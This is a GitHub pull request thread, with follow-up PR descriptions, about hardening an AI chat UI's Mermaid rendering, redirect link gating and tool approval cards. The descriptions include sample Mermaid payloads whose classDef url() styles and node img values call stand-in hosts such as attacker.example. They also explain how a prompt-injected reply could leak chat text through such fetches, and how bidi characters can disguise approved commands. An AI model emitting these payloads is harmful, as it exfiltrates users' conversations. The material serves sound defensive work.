Repository navigation
Studio: keep diagrams, redirect links and approval cards honest - #14427
Conversation
- Mermaid diagrams follow the chat's image policy: a Studio-owned mermaid plugin (used by chat, markdown previews and model READMEs) vets the diagram source before mermaid draws it. Remote node images, sequence actor icons, fetching HTML tags in labels and url() style rules are taken out; data: images stay. Init directives and front matter may no longer set themeCSS / fontFamily / altFontFamily. A diagram that names no remote resource reaches mermaid unchanged. - Research report URL checks match the scheme in any case. - Browser agent: a search engine redirect link is gated on the page it lands on, before the tab loads it; the backend checks the target too. - Code approval cards show bidi controls escaped (display only; Copy and Download keep the command as it runs). - Generic tool cards (MCP tools, edit_file, ...) stay open while waiting on Allow / Deny, so the arguments being approved are visible. - Startup bundle budget raised by the measured 617 B raw / 238 B transfer.
Codex Review SummaryThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
…cked redirect links at their target; canonical redirect paths; uppercase-scheme citations [skip ci]
…ails lines [skip ci]
…directives and front matter; native clicks keep the wrapper's own checks [skip ci]
…dented front matter in the guard, gate every hop of a native redirect chain
|
@codex review |
1 similar comment
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 2a8b0ce4dd
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| const STYLE_LINE = /^[^\S\n]*(?:classDef|style|linkStyle)\b.*$/gim; | ||
| const STYLE_FETCH = /\\|url\s*\(|image(?:-set)?\s*\(|cross-fade\s*\(|element\s*\(|@import/i; |
There was a problem hiding this comment.
Scope style-line removal to style-capable diagrams
This filter runs against every Mermaid grammar, so it deletes valid content that merely begins with style. For example, timeline\n style : Use url(path) syntax is a valid timeline period and event, but STYLE_LINE matches the line and STYLE_FETCH sees url(, reducing the diagram to an empty timeline even though the text never becomes CSS or loads a resource. Apply this removal only in grammars where the line is actually a style statement.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Leaving this: it needs a timeline (or similar) entry named style whose text contains url(; dropping that one line is a harmless false positive next to keeping a real style statement that loads.
…el styles, framed clicks load the gated landing page [skip ci]
|
@codex review |
1 similar comment
|
@codex review |
|
Codex Review: Didn't find any major issues. Keep it up! Reviewed commit: ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
…t fetch either (unslothai#14526) Follow-up to unslothai#14427. **Problem.** The mermaid guard drops a `classDef` / `style` / `linkStyle` statement that names a remote resource, but it only recognized those statements at the start of a line. Mermaid also accepts them after a `;` statement separator, and a stateDiagram (also erDiagram, block-beta, requirementDiagram) accepts them mid-line after a space, so a chat reply containing ``` stateDiagram-v2 A --> B; classDef x fill:url(https://example.invalid/collect?q=...) C --> D classDef y background-image:url(https://example.invalid/collect?q=...) class A x ``` still made the browser fetch that URL while the diagram rendered, with no click and no approval. **Change.** Each line is scanned once for a style keyword. In stateDiagram, erDiagram, block and requirementDiagram, whose lexers take a statement mid-line and allow brackets in ids, every keyword after a space counts. In other diagrams a statement must start the line or follow `;`, and a keyword inside a quoted or bracketed label (`A["Style transfer\nmodel"]`, `A["see; style C:\temp"]`) or in message text is label text and is skipped. From the first statement that names a resource, the rest of the line is removed (a stateDiagram `classDef` runs to the end of the line past any `;`); the text before it stays. Diagrams without one come back unchanged, and running the guard twice gives the same text. **Testing.** - `tests/mermaid-remote-images.test.ts`: 45 pass, including semicolon, mid-line, bracketed state id, label, message text and a 20,000-token line (linear time); the new cases fail on main. - Mermaid and markdown frontend tests: 127 pass. - Rendered with mermaid 11.17.2 under Studio's CSP in Chromium, Firefox and WebKit (Playwright), counting requests to the remote host: | Diagram | main | this PR | |---|---|---| | stateDiagram `A --> B; classDef x mask:url(...)` | 1 request | 0 requests | | stateDiagram `A --> B classDef x background-image:url(...)` (no `;`) | 1 request (WebKit 2) | 0 requests | | stateDiagram `[*] --> A classDef x mask:url(...)` | 1 request (WebKit 2) | 0 requests | | stateDiagram `A( --> B classDef x background-image:url(...)` | 1 request | 0 requests | | sequenceDiagram `Alice->>Bob: apply style from url(parameter)` | renders | same SVG | | `flowchart LR; A-->B; style A fill:#f96; style B fill:#bbf` | renders | same SVG | | stateDiagram `A --> B; classDef x fill:#f96` | renders | same SVG | | flowchart label `A["Style transfer\nmodel"]` | renders | same SVG | | flowchart label `A["see; style C:\\temp"]` | renders | same SVG | | multi-line `style` / `classDef` / `linkStyle` block | renders | same SVG | **Before / after in Studio.** The same chat thread, opened in a Studio built from main and one built from this branch. Its stateDiagram has a style statement after `;` and one mid-line, each pointing at a local HTTPS image server. The diagram renders the same on both sides; the difference is what the browser fetched: main made 2 requests (`?s=semicolon`, `?s=midline`), this branch made 0. 
…wn on the page (unslothai#14642) Follow-up to unslothai#14427. **Problem.** unslothai#14427 gates Google `/url?q=` and DuckDuckGo `/l/?uddg=` redirect links on the page they land on. The agent's record of the links on the page it last read still holds only the raw wrapper URL, so the landing page never matched it. Clicking a search result on a DuckDuckGo (or wrapped Google) results page, which used to just open, now stops with "Open <site>?" every time, even though the link is right there on the page. **Change.** When a snapshot or find records the page's links, each redirect link also records the pages it leads to (the same `unwrapRedirect` chain the tab follows). Clicking or navigating to a search result on the page is then treated as following an on-page link, so it opens without a question, as any other on-page link does. The protection from unslothai#14427 stays in place: - The gate still runs on the real destination, so site blocks and the backend's redirect checks still apply. - A redirect link the model makes up (not on the page), or one pointing anywhere other than the result shown, still asks. - The wrapper hops keep their own gates. The recorded set comes from a pure function of the page's links, so recording the same page twice gives the same result. **Testing.** - `tests/browser-agent-redirect-gate.test.ts`: 6/6 pass with the change. With only the source change reverted, 4/6 pass. The two new flow tests fail there: an on-page wrapped result opening without a question, and a clicked search result opening without a question. Still passing with the change: a made-up redirect to a new site asks before loading (Google and DuckDuckGo), a made-up redirect to a site not on the page asks, and an on-page redirect to a blocked site is refused without loading. - Neighbouring browser agent tests (executor, gate, always-allow, chats, address, drag, point, script, page-wait, cursor): 53/53 pass with the change, 53/53 on base.
…nslothai#14907) ## Problem `stripRemoteDiagramImages` (unslothai#14427) drops a remote `img` from mermaid shape data blocks (`id@{ img: "..." }`) before mermaid renders a diagram from chat markdown, since mermaid fetches the image while it measures the node. The block scan took the first `@{` anywhere in the source as an opener, including one inside a quoted label. The label's closing `"` then flipped the scan into string mode, the real block's `}` was never found, and the scan returned no blocks at all, so the diagram reached mermaid unchanged: ``` flowchart LR A["@{"] --> B@{ img: "https://attacker.example/label-confusion", w: 10, h: 10 } ``` came back byte-identical on main, while the same block without the label is stripped. Model output (including prompt-injected text from a fetched page) controls the diagram, and the Studio page CSP allows `https:` images, so this reopens the image beacon channel unslothai#14427 closed. ## Change `studio/frontend/src/components/assistant-ui/mermaid-guard.ts`: whether a given `@{` is shape data or text (a quoted label, accessibility text, a sequence message) depends on mermaid's lexer state, which the guard cannot reproduce, so it no longer picks one reading: - every `@{` is read on its own, as a block up to its first `}` outside a string (precomputed in one pass, so any number of markers costs linear time); - each reading that names a remote image gets the image taken out, as before; - when two such readings overlap, both openers become `#64;{`, mermaid's entity for `@`, which shows the same text and opens nothing; - the result is vetted again until it is stable. Diagrams without a remote image are unchanged, including an unterminated `@{` in a sequence message. ## Tests `studio/frontend/tests/mermaid-remote-images.test.ts`: a `@{` in a quoted label; a `@{` and a `}` in later labels; a `}` quoted inside the real block's label; accessibility text with a lone quote; each strips the remote image and is stable on a second pass. An unterminated `@{` in a sequence message passes through unchanged, two overlapping readings become inert, and 16,000 unclosed markers scan in under a second. Main fails 2 of these; this branch passes all 49 in the file. Full frontend suite (`node --test "tests/**/*.test.ts"`, TAP): the same 569 failing test IDs on main and on this branch (they need the full frontend install), no new failures. ## Before / after The same streamed reply (two mermaid diagrams) rendered by a Studio built from the merge base and one built from this branch. `https://attacker.example/**` was answered with a red image so a fetch is visible.  | | Before | After | |---|---|---| | Requests to the remote host | 1 | 0 | | Remote `<image>` elements | 1 | 0 | | C node label | `show` | `show @{ img: @{ img: x }` |
Hardening from a security review of what the chat UI renders and approves. Ordinary chats, diagrams and tool calls look and behave the same; the visible differences are listed below.
Changes
MarkdownImage,safeMarkdownUrl), but a```mermaidfence went straight to mermaid, whose nodeimg, sequence-actoricon, HTML labels andurl()styles load from any URL. A prompt-injected reply could put chat text in such a URL. A Studio mermaid plugin (mermaid-plugin.ts+mermaid-guard.ts) cleans the source on every render: remoteimg/iconvalues are dropped (data:images kept), fetching tags in labels are shown as text,url()style lines and diagram-suppliedthemeCSS/fontFamilyare dropped. Chat, markdown previews (research reports, attachments) and model READMEs all use it. A diagram without those reaches mermaid byte-identical.executor.ts,browser_agent.py). Google / DuckDuckGo redirect links (google.com/url?q=...) were gated on the outer URL, while the tab loaded the unwrapped target. The gate (and the backend'snormalize_navigation_url) now checks the target, before the tab loads it. Sites already approved or named by the user still open without a question.tool-code-cell.tsx). Terminal and Python approval cards showed code with raw Unicode bidi overrides, so the displayed command could differ from the executed one. Display now uses the existingescapeBidiControls; Copy, Download and the executed command keep the raw text.tool-fallback.tsx). MCP,edit_fileand similar cards waiting for Allow / Deny now passawaitingApproval, so the arguments are visible even with the collapsed-cards preference (the Terminal card already did this). Finished cards are unchanged.core/research/citations.pynow matchesHTTPS://likehttps://.What users see
<img ...>in a label is shown as text; a diagram's ownthemeCSS/fontFamilyis ignored (the diagram font stays the same as before).\u202e-style escapes.The startup bundle budget rises by the measured 617 B raw / 238 B transfer (the guard itself loads with the first diagram), keeping the same margin.
Tests. New
mermaid-remote-images.test.tsandmermaid-remote-images-render.test.ts(real mermaid under node: the stock plugin requestshttps://attacker.example/collect?..., this one requests nothing while adata:image is still requested),browser-agent-redirect-gate.test.ts,tool-code-cell-bidi.test.ts,tool-fallback-approval-open.test.ts, plus backendtest_browser_agent.pyredirect cases andtest_research_report_url_case.py. All fail on main and pass here. The full frontend suite (13,072 tests) has the same 7 failures on both sides; typecheck passes, lint is unchanged on touched files,vite buildis within budget.Before / after. The same chat replayed on the merge base and on this branch, with a Mermaid flowchart whose node embeds an
<img>served over HTTPS. Before, the diagram fetches the remote image (one request to/logo.png?chat=secret); after, the node renders as a plain labelled box and no request is made. The flowchart itself renders the same.